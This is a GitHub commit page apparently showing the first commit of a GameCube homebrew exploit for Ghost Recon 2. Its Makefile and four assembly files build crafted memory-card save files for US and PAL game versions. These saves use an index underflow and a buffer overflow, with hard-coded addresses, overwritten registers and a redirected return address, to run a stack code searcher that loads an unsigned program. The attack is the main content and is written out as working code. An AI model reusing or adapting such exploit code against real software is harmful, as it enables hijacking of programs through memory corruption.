Skip to content

Commit 13a50b9

Browse files
FIX94FIX94
committed
first commit, enjoy
1 parent 1ba3a2b commit 13a50b9

16 files changed

+680
-1
lines changed

‎.gitmodules

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
[submodule "loader"]
2+
path = loader
3+
url = https://github.com/FIX94/gc-exploit-common-loader.git

‎Makefile

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Copyright 2016 FIX94
2+
# This code is licensed to you under the terms of the GNU GPL, version 2;
3+
# see file LICENSE or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
4+
5+
all:
6+
@$(MAKE) --no-print-directory -C loader
7+
@mv -f loader/loader.h exploit/loader.h
8+
@$(MAKE) --no-print-directory -C searcher
9+
@mv -f searcher/searcher.bin exploit/searcher.bin
10+
@$(MAKE) --no-print-directory -C exploit
11+
@mkdir -p gci
12+
@mv -f exploit/*.gci gci
13+
14+
clean:
15+
@$(MAKE) --no-print-directory -C loader clean
16+
@$(MAKE) --no-print-directory -C searcher clean
17+
@$(MAKE) --no-print-directory -C exploit clean
18+
rm -rf gci

‎README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
# ghostrecon2-exploit-gc
2-
a exploit for ghost recon 2 on gamecube
2+
A exploit for ghost recon 2 on gamecube, you only need a method of injecting the .gci onto your memory card.
3+
This exploit will load a boot.dol converted with dol2gci (included in Home Bros.) from your memory card.

‎exploit/Makefile

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
# Copyright 2016 FIX94
2+
# This code is licensed to you under the terms of the GNU GPL, version 2;
3+
# see file LICENSE or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
4+
5+
6+
# Configuration:
7+
8+
# What toolchain prefix should we use
9+
CROSS ?= powerpc-eabi-
10+
11+
# End of configuration.
12+
13+
14+
15+
# Set CC, LD, OBJCOPY based on CROSS, unless they are set already
16+
17+
ifeq ($(origin CC), default)
18+
CC := $(CROSS)gcc -m32
19+
endif
20+
ifeq ($(origin LD), default)
21+
LD := $(CROSS)ld
22+
endif
23+
OBJCOPY ?= $(CROSS)objcopy
24+
25+
26+
# The compiler flags we need.
27+
28+
CFLAGS := -Wall -W -O1 -fPIC -ffreestanding -mno-eabi -mno-sdata -mcpu=750 -fno-asynchronous-unwind-tables
29+
30+
31+
# Build with "V=1" to see the commands executed; be quiet otherwise.
32+
33+
ifeq ($(V),1)
34+
Q :=
35+
else
36+
Q := @
37+
MAKEFLAGS += --no-print-directory
38+
endif
39+
40+
41+
targets := ggye_eng.gci ggye_fre_spa.gci ggyp_eng.gci ggyp_fre_ger_ita_spa.gci
42+
43+
objs := ghostrecon2.o start.o
44+
45+
all: $(targets)
46+
47+
$(targets): %.gci: %.elf
48+
@echo " OBJCOPY $@"
49+
$(Q)$(OBJCOPY) -Obinary $< $@
50+
51+
elfs := $(targets:.gci=.elf)
52+
53+
$(elfs): %.elf: ghostrecon2.ld %.o $(objs)
54+
@echo " LINK $@"
55+
$(Q)$(LD) -T $^ -o $@
56+
57+
exploit-objs := $(elfs:.elf=.o)
58+
59+
$(exploit-objs): %.o: %.S
60+
@echo " ASSEMBLE $@"
61+
$(Q)$(CC) $(CFLAGS) -c $< -o $@
62+
63+
%.o: %.S
64+
@echo " ASSEMBLE $@"
65+
$(Q)$(CC) $(CFLAGS) -c $< -o $@
66+
67+
%.o: %.c
68+
@echo " COMPILE $@"
69+
$(Q)$(CC) $(CFLAGS) -c $< -o $@
70+
71+
clean:
72+
-rm -f $(targets) $(saves) $(elfs) $(exploit-objs) $(objs) $(slots) $(dats) searcher.bin loader.h

‎exploit/ggye.hdr

22.1 KB
Binary file not shown.

‎exploit/ggye_eng.S

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
// Copyright 2016 FIX94
2+
// This code is licensed to you under the terms of the GNU GPL, version 2;
3+
// see file LICENSE or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
4+
5+
.section .fstart,"ax"
6+
.globl fbegin
7+
fbegin:
8+
0: // gci "header" we use
9+
.incbin "ggye.hdr"
10+
11+
// save start
12+
.long 0x55424953
13+
.long 0x4F465400
14+
15+
// player name, will be used for pointer
16+
// on mem to our overflow string
17+
.long 0x80DE2768 //will be 0x8053C414 on stack
18+
.long 0x80DE2768 //will be 0x8053C418 on stack
19+
.byte 0
20+
21+
// save settings
22+
.short 0x5249
23+
.long 1 ; .long 0
24+
.long 1 ; .long 0
25+
.long 1 ; .long 0
26+
.long 3 ; .long 0
27+
.long 0
28+
29+
// this index underflows a string pointer array at 0x80DE1F70 to point to the
30+
// player name on stack (0x8053C414) where we set pointers to our overflow string
31+
.long 0xFFF47863
32+
33+
// more settings
34+
.fill 0x35,1,0x00
35+
36+
// time to set up our overflow string at 0x80DE2768
37+
.fill 0x80,1,0x41
38+
// r28, point to stack position of our code
39+
.long 0x8053C384
40+
// r29,r30,r31, stack store position, arent using those
41+
.fill 0x10,1,0x41
42+
// This function will execute code further down the stack
43+
.long 0x802BFE24
44+
// more overflow string filler
45+
.fill 0xD,1,0x41
46+
// this is actually required for the save to be "valid"
47+
.byte 1
48+
// last of the overflow string filler
49+
.fill 0xE,1,0x41
50+
// Our stack code searcher that gets executed from above
51+
.incbin "searcher.bin"

‎exploit/ggye_fre_spa.S

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
// Copyright 2016 FIX94
2+
// This code is licensed to you under the terms of the GNU GPL, version 2;
3+
// see file LICENSE or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
4+
5+
.section .fstart,"ax"
6+
.globl fbegin
7+
fbegin:
8+
0: // gci "header" we use
9+
.incbin "ggye.hdr"
10+
11+
// save start
12+
.long 0x55424953
13+
.long 0x4F465400
14+
15+
// player name, will be used for pointer
16+
// on mem to our overflow string
17+
.long 0x80DE8E60 //will be 8053C414 on stack
18+
.long 0x80DE8E60 //will be 8053C418 on stack
19+
.byte 0
20+
21+
// save settings
22+
.short 0x5249
23+
.long 1 ; .long 0
24+
.long 1 ; .long 0
25+
.long 1 ; .long 0
26+
.long 3 ; .long 0
27+
.long 0
28+
29+
// this index underflows a string pointer array at 0x80DE85B0 to point to the
30+
// player name on stack (0x8053C418) where we set pointers to our overflow string
31+
.long 0xFFF46FDE
32+
33+
// more settings
34+
.fill 0x35,1,0x00
35+
36+
// time to set up our overflow string at 0x80DE8E60
37+
.fill 0x80,1,0x41
38+
// r28, point to stack position of our code
39+
.long 0x8053C384
40+
// r29,r30,r31, stack store position, arent using those
41+
.fill 0x10,1,0x41
42+
// This function will execute code further down the stack
43+
.long 0x802BFE24
44+
// more overflow string filler
45+
.fill 0xD,1,0x41
46+
// this is actually required for the save to be "valid"
47+
.byte 1
48+
// last of the overflow string filler
49+
.fill 0xE,1,0x41
50+
// Our stack code searcher that gets executed from above
51+
.incbin "searcher.bin"

‎exploit/ggyp.hdr

22.1 KB
Binary file not shown.

‎exploit/ggyp_eng.S

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
// Copyright 2016 FIX94
2+
// This code is licensed to you under the terms of the GNU GPL, version 2;
3+
// see file LICENSE or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
4+
5+
.section .fstart,"ax"
6+
.globl fbegin
7+
fbegin:
8+
0: // gci "header" we use
9+
.incbin "ggyp.hdr"
10+
11+
// save start
12+
.long 0x55424953
13+
.long 0x4F465400
14+
15+
// player name, will be used for pointer
16+
// on mem to our overflow string
17+
.long 0x80DD3B34 //will be at 0x8053AC94 on stack
18+
.long 0x80DD3B34 //will be at 0x8053AC98 on stack
19+
.byte 0
20+
21+
// save settings
22+
.short 0x5249
23+
.long 1 ; .long 0
24+
.long 1 ; .long 0
25+
.long 1 ; .long 0
26+
.long 3 ; .long 0
27+
.long 0
28+
29+
// this index underflows a string pointer array at 0x80DD333C to point to the
30+
// player name on stack (0x8053AC98) where we set pointers to our overflow string
31+
.long 0xFFF48A1D
32+
33+
// more settings
34+
.fill 0x35,1,0x00
35+
36+
// time to set up our overflow string at 0x80DD3B34
37+
.fill 0x80,1,0x41
38+
// r28, point to stack position of our code
39+
.long 0x8053AC04
40+
// r29,r30,r31, stack store position, arent using those
41+
.fill 0x10,1,0x41
42+
// This function will execute code further down the stack
43+
.long 0x802BFCC8
44+
// more overflow string filler
45+
.fill 0xD,1,0x41
46+
// this is actually required for the save to be "valid"
47+
.byte 1
48+
// last of the overflow string filler
49+
.fill 0xE,1,0x41
50+
// Our stack code searcher that gets executed from above at 0x8053AC04
51+
.incbin "searcher.bin"

‎exploit/ggyp_fre_ger_ita_spa.S

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
// Copyright 2016 FIX94
2+
// This code is licensed to you under the terms of the GNU GPL, version 2;
3+
// see file LICENSE or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
4+
5+
.section .fstart,"ax"
6+
.globl fbegin
7+
fbegin:
8+
0: // gci "header" we use
9+
.incbin "ggyp.hdr"
10+
11+
// save start
12+
.long 0x55424953
13+
.long 0x4F465400
14+
15+
// player name, will be used for pointer
16+
// on mem to our overflow string
17+
.long 0x80DC5068 //will be 8053ac94 on stack
18+
.long 0x80DC5068 //will be 8053ac98 on stack
19+
.byte 0
20+
21+
// save settings
22+
.short 0x5249
23+
.long 1 ; .long 0
24+
.long 1 ; .long 0
25+
.long 1 ; .long 0
26+
.long 3 ; .long 0
27+
.long 0
28+
29+
// this index underflows a string pointer array at 0x80DC4870 to point to the
30+
// player name on stack (8053ac98) where we set pointers to our overflow string
31+
.long 0xFFF49DAE
32+
33+
// more settings
34+
.fill 0x35,1,0x00
35+
36+
// time to set up our overflow string for 0x80DC5068
37+
.fill 0x80,1,0x41
38+
// r28, point to stack position of our code
39+
.long 0x8053AC04
40+
// r29,r30,r31, stack store position, arent using those
41+
.fill 0x10,1,0x41
42+
// This function will execute code further down the stack
43+
.long 0x802BFCC8
44+
// more overflow string filler
45+
.fill 0xD,1,0x41
46+
// this is actually required for the save to be "valid"
47+
.byte 1
48+
// last of the overflow string filler
49+
.fill 0xE,1,0x41
50+
// Our stack code searcher that gets executed from above at 0x8053AC04
51+
.incbin "searcher.bin"

0 commit comments

Comments
 (0)